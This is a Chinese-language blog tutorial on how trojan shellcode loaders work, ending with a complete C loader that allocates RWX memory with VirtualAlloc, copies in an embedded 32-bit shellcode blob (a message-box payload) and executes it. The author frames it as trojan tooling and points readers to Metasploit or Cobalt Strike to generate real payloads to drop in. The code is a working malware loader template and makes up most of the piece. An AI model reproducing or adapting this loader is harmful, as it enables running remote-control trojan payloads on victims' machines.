前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-优快云博客
本文整理加载器的具体原理。
并进行手搓加载器
木马上线原理
shellcode
一串由机器指令组成的代码,十分小巧,用于执行木马的相应功能。
通常使用远控软件生成
加载器
显然,shellcode是机器指令,不能直接运行,需要用一些方法,把他写入内存中,执行它。
加载器就是执行shellcode的。
木马整体原理
存放一段shellcode在代码,或者其他位置中。
加载器开辟一块内存。
把shellcode转移到对应内存中。
执行内存中的内容。
手搓经典款加载器
准备机器代码
首先准备一段机器代码(玩木马的兄弟自行用MSF,CS生成)。
这个shellcode是32位的,可以进行一个弹窗。
unsigned char无符号字符型,这个通常用来处理二进制流数据
unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
"\x52\xe8\x5f\xff\xff\xff\x68\x6f\x58\x20\x20\x68\x48\x65"
"\x6c\x6c\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x64\x58\x20"
"\x20\x68\x57\x6f\x72\x6c\x31\xc9\x88\x4c\x24\x05\x89\xe1"
"\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
导入WindowsAPI
我们需要对Windows进行操作。所以我们用到了WindowsAPI。
#include <windows.h>
开辟内存
现在我们需要开辟一块内存,并且存在了指针中
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
四个参数:
lpAddress(位置)
- 你想在内存的哪个位置开房?填
NULL
让系统帮你选。dwSize(大小)
- 房间要多大(按字节算,比如
1024
是1KB)。flAllocationType(操作类型)
MEM_COMMIT
:直接入住(立刻能用)MEM_RESERVE
:先占个坑(晚点再住进去)flProtect(房间权限)
PAGE_EXECUTE_READWRITE
:房间可读、可写、可跑代码(重要!)PAGE_READWRITE
:只能读/写,不能运行(安全模式)
返回了一个指针。
转移机器代码到内存中
memcpy(exec_mem, shellcode, sizeof(shellcode));
三个参数:
- 目的地:你要把数据贴到哪(比如
VirtualAlloc
分配的内存地址)- 源:你要复制哪里的数据(比如
unsigned char shellcode[] = {0x90,...}
)- 字节数:复制多大一坨数据(比如
sizeof(shellcode)
)
执行代码
这里用了强制转换
这个是一个函数指针
void(*)()
我们给他加一个括号,他就变成了强制转换。
(void(*)())
后面添加一个指针,就变成了,把指针强行转换为指针函数。
(void(*)())exec_mem
我们把他括起来,他就近似于一个指针函数名了。
((void(*)())exec_mem)
再加一个括号,表示调用执行这个指针函数。
((void(*)())exec_mem)()
当然以上就常规思路,你会发现很多括号,看不懂。
我整理一下思路:就是把指针转化为了函数指针,执行函数。
可以看我翻译的代码:
typedef void(*FuncPtr)(); // 定义一个无参无返回的函数指针类型 FuncPtr
FuncPtr func = (FuncPtr)exec_mem; // 强制转换
func();
完整代码
用32位编译
#include <windows.h>
unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
"\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
"\x52\xe8\x5f\xff\xff\xff\x68\x6f\x58\x20\x20\x68\x48\x65"
"\x6c\x6c\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x64\x58\x20"
"\x20\x68\x57\x6f\x72\x6c\x31\xc9\x88\x4c\x24\x05\x89\xe1"
"\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";
int main() {
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
((void(*)())exec_mem)();
return 0;
}
执行效果